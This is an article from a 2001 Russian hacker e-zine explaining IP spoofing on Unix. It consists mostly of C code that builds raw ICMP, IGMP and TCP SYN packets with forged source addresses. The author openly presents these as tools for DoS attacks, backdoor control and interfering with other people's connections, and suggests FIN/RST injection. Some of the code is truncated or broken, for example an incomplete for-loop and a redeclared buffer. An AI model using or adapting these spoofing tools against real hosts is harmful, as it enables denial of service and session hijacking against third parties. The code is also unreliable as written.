in name of zero INOZ, issue #1, 20 nov. 2001 IP Spoofing под unix by Xen // HangUP С понятием спуфинга, надеюсь, знакомы все. Если под win9x сие дело реализовывалось, мягко говоря, через задницу (в w2k ситуация улучшилась лишь слегка), то под UNIX-системами работать с пакетами на низком уровне одно удовольствие :) Зачем это может потребоваться? Для проведения DoS-атаки, управления бэкдором, отсылки анонимной почты, вмешательства в соединение, проходящее через сетевой интерфейс вашей машины... Вариантов море. Рассмотрим простейший пример отсылки анонимных ICMP-пакетов. #include < netdb.h > #include < netinet/ip_icmp.h > /* Стандартный резолв */ int resolve(const char *name, unsigned int port, struct sockaddr_in *addr) { struct hostent *host; memset(addr, 0, sizeof(struct sockaddr_in)); addr->sin_family = AF_INET; addr->sin_addr.s_addr = inet_addr(name); if (addr->sin_addr.s_addr == -1) { if (( host = gethostbyname(name) ) == NULL ) { printf("%s resolve error\n", name); return(-1); } addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr, host->h_addr, host->h_length); } addr->sin_port = htons(port); return(0); } /* Не менее стандартный чексам */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } /* Собственно, формирование пакета и скармливание его сокету */ int fuckit(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr) { unsigned char *packet; struct iphdr *ip; struct icmphdr *icmp; packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); memset(ip, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); ip->ihl = 5; ip->version = 4; ip->id = htons(1234); ip->frag_off |= htons(0x2000); ip->ttl = 30; ip->protocol = IPPROTO_ICMP; ip->saddr = spoof_addr; ip->daddr = dest_addr->sin_addr.s_addr; ip->check = in_cksum(ip, sizeof(struct iphdr)); icmp->type = 12; icmp->code = 0; icmp->checksum = in_cksum(icmp, sizeof(struct icmphdr) + 1); if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + 1,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } free(packet); return(0); } /* Основная функция. Открываем raw-сокет, резолвим адреса и вызываем fuckit для работы с сокетом */ int main(int argc, char **argv) { struct sockaddr_in dest_addr; unsigned int i,sock; unsigned long src_addr; if (argc != 4) { printf("use it this way: src destination number_of_packets\n"); return(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { printf("raw socket not opened\n"); return(-1); } if (resolve(argv[1],0,&dest_addr) == -1) { printf("source resolve error\n"); return(-1); } src_addr = dest_addr.sin_addr.s_addr; if (resolve(argv[2], 0, &dest_addr) == -1) { printf("destination resolve error\n"); return(-1); } printf("sending packets\n"); for (i = 0; i Возможно, вам потребуется подключить дополнительные хедеры, у меня все прошло и так. За комментариями о параметрах пакетов смотрите соответствующие RFC или .h . IGMP можно отсылать так: int send_igmp(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr) { unsigned char *packet; struct iphdr *ip; struct igmphdr *igmp; packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct igmphdr) + 8); ip = (struct iphdr *)packet; igmp = (struct igmphdr *)(packet + sizeof(struct iphdr)); memset(ip,0,sizeof(struct iphdr) + sizeof(struct igmphdr) + 8); ip->ihl = 5; ip->version = 4; ip->id = htons(34717); ip->frag_off = htons(0x2000); ip->ttl = 255; ip->protocol = IPPROTO_IGMP; ip->saddr = spoof_addr; ip->daddr = dest_addr->sin_addr.s_addr; ip->check = in_cksum(ip, sizeof(struct iphdr)); igmp->type = 8; igmp->code = 0; if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct igmphdr) + 1,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } free(packet); return(0); } А вот так или примерно так ;) работают с TCP: #define _BSD_SOURCE #include < stdio.h > #include < stdlib.h > #include < unistd.h > #include < string.h > #include < netdb.h > #include < net/if.h > #include < netinet/in.h > #include < netinet/ip.h > #include < netinet/tcp.h > #include < sys/ioctl.h > #include < sys/types.h > #include < sys/socket.h > #include < arpa/inet.h > /* Влом разбираться с полными заголовками... */ struct tmp { u_long saddr; u_long daddr; u_char zero; u_char protocol; u_short length; }; /* skipped some usual stuff... */ /* Отсылка пакета. А вы о чем подумали? :) */ int sendpack(int s, u_long srcaddr, u_short srcport, u_long dstaddr, u_short dstport,u_short th_flags, u_char *packet,u_long length) { u_char packet[sizeof(struct ip) + sizeof(struct tmp) + sizeof(struct tcphdr)]; struct sockaddr_in fuck_addr; struct in_addr srcinaddr,dstinaddr; struct ip *ip = (struct ip *) packet; struct tmp *tmp = (struct tmp *) (packet + sizeof(struct ip)); struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip) + sizeof(struct tmp)); bzero(packet, sizeof(packet)); bzero(&fuck_addr,sizeof(fuck_addr)); srcinaddr.s_addr = srcaddr; dstinaddr.s_addr = dstaddr; tmp->saddr = srcaddr; tmp->daddr = dstaddr; tmp->zero = 0; tmp->protocol=IPPROTO_TCP; tmp->length = htons(sizeof (struct tcphdr)); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_id = 1234; ip->ip_src = srcinaddr; ip->ip_dst = dstinaddr; ip->ip_p = IPPROTO_TCP; ip->ip_ttl = 40; ip->ip_off = 0; ip->ip_len = sizeof(struct ip) + sizeof(struct tcphdr) + length; tcp->th_sport = htons(srcport); tcp->th_dport = htons(dstport); tcp->th_seq = htonl(rand()); tcp->th_ack = htonl(rand()); tcp->th_off=5; tcp->th_flags = th_flags; tcp->th_urp = 0; tcp->th_sum = in_cksum((u_short *) tmp, sizeof(struct tmp) + sizeof(struct tcphdr)); bcopy(tcp,tmp,sizeof(struct tcphdr)); fuck_addr.sin_family=AF_INET; fuck_addr.sin_addr.s_addr=dstaddr; sendto(s,packet,sizeof(struct ip) + sizeof(struct tcphdr) + length, 0, (struct sockaddr *) &fuck_addr,sizeof(fuck_addr)); return 0; } void main(argc,argv) int argc; char **argv; { int rawsocket, rd, rsize; int one=1; u_char buf[1024]; struct sockaddr_in raddr; struct ifreq ifr; struct in_addr srcip, dstip; u_short srcport, dstport; if (argc!=5) printf("use: src_ip src_port dest_ip dest_port"); srcip.s_addr = resolve_name(argv[1]); srcport = atoi(argv[2]); dstip.s_addr = resolve_name(argv[3]); dstport = atoi(argv[4]); if ((rawsocket=socket(PF_INET, SOCK_RAW, IPPROTO_ICMP))<0) { perror("raw socket error"); exit(1); } /* Говорим ядру, что сами займемся формированием IP-пакетов */ if (setsockopt(rawsocket, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one))<0) { perror("setsockopt error"); close(rawsocket); exit(1); } printf("sending from source ip %s port %i ", inet_ntoa(srcip), srcport); printf("to destination ip %s port %i\n", inet_ntoa(dstip), dstport); /* Поставлена отсылка SYN-пакета. А кто мешает поиграться с FIN/RST ? */ sendpack(rawsocket, srcip.s_addr, srcport, dstip.s_addr, dstport, TH_SYN, NULL, 0); close(rawsocket); } Надеюсь, я вас не очень утомил :) Приведены, разумеется, простейшие примеры. Для серьезной работы не следует также забывать о пэйлоаде, правильности SEQ/ACK, враждебно настроенных роутерах и прочих вещах...